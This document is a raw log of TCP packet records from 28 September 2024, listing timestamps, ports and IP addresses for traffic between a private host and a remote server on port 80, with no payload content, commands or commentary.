Sep 28, 2024 10:19:16.560045958 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.560311079 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.560364962 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.560398102 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.560430050 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.560431957 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.560463905 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.560480118 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.560498953 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.560542107 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.560545921 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.560576916 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.560623884 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.560630083 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.560662985 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.560713053 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.560720921 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.560755014 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.560767889 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.560811996 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.561252117 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.561285019 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.561319113 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.561321974 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.561368942 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.561382055 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.561382055 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.561403036 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.561434984 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.561446905 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.561466932 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.561500072 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.561515093 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.561533928 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.561562061 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.561583996 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.561614990 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.561646938 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.561660051 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.561680079 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.561728001 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.561732054 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.561764956 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.561800957 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.561815977 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.561834097 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.561866999 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.561873913 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.561897039 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.561927080 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.561944962 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.561959028 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.561990976 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.562005043 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.562062025 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.562093973 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.562108994 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.562127113 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.562156916 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.562177896 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.562206984 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.562241077 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.562261105 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.562273026 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.562305927 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.562316895 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.562335968 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.562367916 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.562376022 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.562400103 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.562433004 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.562454939 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.562462091 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.562494993 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.562505960 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.562527895 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.562576056 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.562578917 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.562612057 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.562643051 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.562649965 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.562675953 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.562722921 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.562726974 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.562760115 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.562787056 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.562819004 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.562836885 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.562836885 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.562861919 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.562869072 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.562901020 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.562933922 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.562944889 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.562983036 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.563018084 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.563030005 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.563046932 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.563076973 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.563110113 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.563126087 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.563139915 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.563148022 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.563148022 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.563173056 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.563206911 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.563214064 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.563241005 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.563268900 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.563286066 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.563301086 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.563333035 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.563339949 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.563364029 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.563409090 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.563420057 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.563452959 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.563486099 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.563500881 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.563870907 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.566227913 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.566263914 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.566293955 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.566296101 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.566314936 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.566340923 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.610760927 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.610831022 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.610865116 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.610897064 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.610932112 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.610941887 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.610991001 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.691858053 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.691925049 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.691922903 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.691962957 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.692012072 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.692039013 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.692073107 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.692085981 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.692106009 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.692140102 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.692152977 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.692203045 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.692209005 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.692244053 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.692286968 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.692292929 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.692322969 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.692373991 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.692411900 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.692468882 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.692477942 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.692507029 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.692540884 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.692558050 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.692569971 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.692612886 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.692620039 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.692652941 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.692681074 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.692699909 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.692728043 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.692734003 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.692769051 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.692796946 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.692843914 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.692847967 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.692878962 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.692898989 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.692923069 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.693006992 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.693056107 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.693078995 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.693114042 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.693129063 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.693169117 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.693192005 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.693202972 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.693238020 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.693254948 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.693285942 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.693304062 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.693334103 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.693458080 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.693619967 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.693638086 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.693665981 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.693672895 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.693686962 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.693721056 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.693722010 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.693764925 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.694000006 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.694029093 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.694053888 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.694066048 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.694077969 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.694113016 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.694145918 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.694159985 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.694190979 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.694205046 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.694253922 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.694287062 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.694320917 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.694358110 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.694360971 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.694386959 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.694396019 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.694410086 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.694434881 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.694483042 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.694514990 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.694545984 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.694560051 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.694578886 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.694612980 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.694627047 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.694647074 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.694699049 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.694794893 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.694804907 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.694837093 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.694838047 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.694861889 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.694871902 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.694879055 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.694905996 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.694925070 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.694945097 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.694960117 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.694983006 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.694993973 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.695018053 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.695029020 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.695051908 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.695082903 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.695100069 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.695112944 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.695159912 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.695301056 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.695359945 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.695380926 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.695404053 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.695417881 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.695451975 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.695486069 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.695499897 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.695518970 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.695529938 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.695559025 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.695602894 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.695611000 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.695679903 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.695751905 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.695780993 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.695813894 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.695827007 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.695847034 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.695866108 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.695879936 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.695911884 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.695935011 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.695943117 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.695957899 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.695979118 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.695981979 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.696012974 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.696027040 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.696053028 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.696063042 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.696089029 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.696096897 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.696118116 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.696141005 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.696206093 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.696233988 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.696265936 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.696271896 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.696289062 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.696299076 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.696309090 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.696331978 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.696365118 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.696379900 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.696408033 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.698669910 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.698699951 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.698733091 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.698743105 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.698765039 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.698771954 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.698810101 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.743581057 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.743634939 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.743654013 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.743668079 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.743710995 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.743722916 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.743756056 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.743798971 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.824337006 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.824377060 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.824402094 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.824412107 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.824434996 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.824446917 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.824456930 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.824482918 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.824528933 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.824537039 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.824575901 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.824589014 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.824624062 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.824678898 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.824680090 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.824719906 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.824846029 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.824852943 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.824870110 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.824892998 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.824915886 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.824919939 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.824954033 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.824976921 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.825047970 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.825068951 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.825079918 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.825113058 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.825114965 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.825151920 CEST	49730	80	192.168.2.4	185.215.113.37
